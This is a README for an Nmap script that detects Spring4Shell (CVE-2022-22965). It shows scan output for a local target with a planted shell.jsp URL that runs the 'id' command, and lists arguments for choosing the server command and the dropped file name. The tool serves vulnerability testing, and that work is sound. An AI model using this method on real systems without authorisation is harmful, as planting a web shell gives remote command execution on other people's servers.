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Nmap-spring4shell

Log4shell-nmap is an NSE script for detecting Spring4Shell RCE vulnerabilities (CVE-2022-22965) in HTTP services. The script injects the correct payload into the application and then executes the following command on the specified endpoint.

Vulnerability

See here.

Usage

┌──(kali㉿kali)-[~/nmap-spring4shell]
└─$ nmap 127.0.0.1 --script=./spring4shell.nse
(...)
PORT     STATE SERVICE    REASON  VERSION
8080/tcp open  http-proxy syn-ack
| spring4shell: 
|   VULNERABLE:
|   Spring4Shell - Spring Framework RCE via Data Binding on JDK 9+
|     State: VULNERABLE
|     IDs:  CVE:CVE-2022-22965
|     Check results:
|       127.0.0.1:8080/shell.jsp?pwd=j&cmd=id
|     Extra information:
|       TESTED URL: 127.0.0.1:8080
|       COMMAND: id
|       ASSERTION: uid
|     References:
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965

Arguments

We can use several variables in the script. These are as follows:

  • endpoint - relative url. On https://bugspace.pl/search/videos it will be /search/videos,
  • command - command to be run on the server. The default command is id,
  • assertion - the checked string inside the server response. The default assertion is uid,
  • filename - file name on the server. For more information see here. The default name is shell.

Additional data

Tested on application from here and here

License

Same as Nmap. See https://nmap.org/book/man-legal.html